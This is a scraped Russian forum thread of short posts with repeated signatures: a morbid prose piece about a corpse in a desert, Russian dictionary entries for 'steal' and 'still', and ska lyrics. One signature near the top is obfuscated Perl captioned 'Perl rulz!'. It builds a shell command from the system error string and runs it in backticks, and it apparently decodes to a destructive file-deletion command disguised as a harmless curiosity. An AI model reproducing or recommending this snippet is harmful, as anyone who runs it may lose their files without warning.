тут кажется были уже его слушатели ))) _________________ `$=`;$_=\%!;($_)=/(.)/;$==++$|;($.,$/,$,,$\,$",$;,$^,$#,$~,$*,$:,@% )=(
$!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$"),$=++;$.++;$.++;
$_++;$_++;($_,$\,$,)=($~.$"."$;$/$%[$?]$_$\$,$:$%[$?]",$"&$~,$#,);$,++
;$,++;$^|=$";`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"$^$~$*.>&$=`
Perl rulz!
Или тихий,спокойный,если в качестве прилагательного. _________________ Жаркая пустыня Дагестана.За высоким барханом лежит труп.Это мой,мой,мой труп лежит.Из свежей раны течёт кровь.Это моя,моя,моя кровь течёт.И в жаркой пустыне Дагестана за высоким барханом чей-то труп знакомый валяется!Это мой труп!Нет.Это твой труп?Нет.Это наш труп!И из ещё дымящейся раны течёт алая кровь.
i still kill still _________________ Жаркая пустыня Дагестана.За высоким барханом лежит труп.Это мой,мой,мой труп лежит.Из свежей раны течёт кровь.Это моя,моя,моя кровь течёт.И в жаркой пустыне Дагестана за высоким барханом чей-то труп знакомый валяется!Это мой труп!Нет.Это твой труп?Нет.Это наш труп!И из ещё дымящейся раны течёт алая кровь.
я всё ещё убиваю тихо _________________ Жаркая пустыня Дагестана.За высоким барханом лежит труп.Это мой,мой,мой труп лежит.Из свежей раны течёт кровь.Это моя,моя,моя кровь течёт.И в жаркой пустыне Дагестана за высоким барханом чей-то труп знакомый валяется!Это мой труп!Нет.Это твой труп?Нет.Это наш труп!И из ещё дымящейся раны течёт алая кровь.
steal [] 1. ; stole , stolen
1)
а) воровать, красть to steal smth. from smb. ? украсть что-л. у кого-л. They've stolen our liberty. ? Они похитили нашу свободу. Syn: filch , pilfer , pinch , purloin , sneak
б) отбить, увести
2)
а) = steal up прокрасться, проскользнуть Jim stole away without anyone seeing him. ? Джиму удалось ускользнуть так, что его никто не заметил.
б) делать что-л. незаметно, тайком или без разрешения to steal a kiss ? сорвать украдкой поцелуй Syn: lurk
3) постепенно захватывать, овладевать (о чувстве, внимании) to steal (the) picture / the scene ? затмить всех; оказаться в центре внимания I come not, friends, to steal away your hearts. ? Друзья, я пришёл не для того, чтобы похитить ваши сердца. ...>>
Цитата:
[still] I
1.
1) бесшумный, тихий, безмолвный
2) неподвижный still air ? неподвижный воздух still rain ? дождь без ветра still streams ? неподвижные воды Syn: noiseless , quiet , silent , tranquil
3)
а) неигристый (о вине)
б) негазированный (о напитках) ?? still small voice ? голос совести - keep still
2.
1)
а) безмолвие, тишина No murmur waked the solemn still, save tinkling of a mountain rill. ? Никакие звуки не будили торжественную тишину, кроме журчания горного ручейка.
б) неподвижность, спокойствие
_________________ Жаркая пустыня Дагестана.За высоким барханом лежит труп.Это мой,мой,мой труп лежит.Из свежей раны течёт кровь.Это моя,моя,моя кровь течёт.И в жаркой пустыне Дагестана за высоким барханом чей-то труп знакомый валяется!Это мой труп!Нет.Это твой труп?Нет.Это наш труп!И из ещё дымящейся раны течёт алая кровь.
Добавлено: Вс Янв 11, 2009 4:28 am Заголовок сообщения:
Laurel Aitken - Sally Brown _________________ Everybody like to be
in my place instead of me
cause I?m the king of Bongo
baby I?m the king of Bongo Bong
Вы не можете начинать темы Вы не можете отвечать на сообщения Вы не можете редактировать свои сообщения Вы не можете удалять свои сообщения Вы не можете голосовать в опросах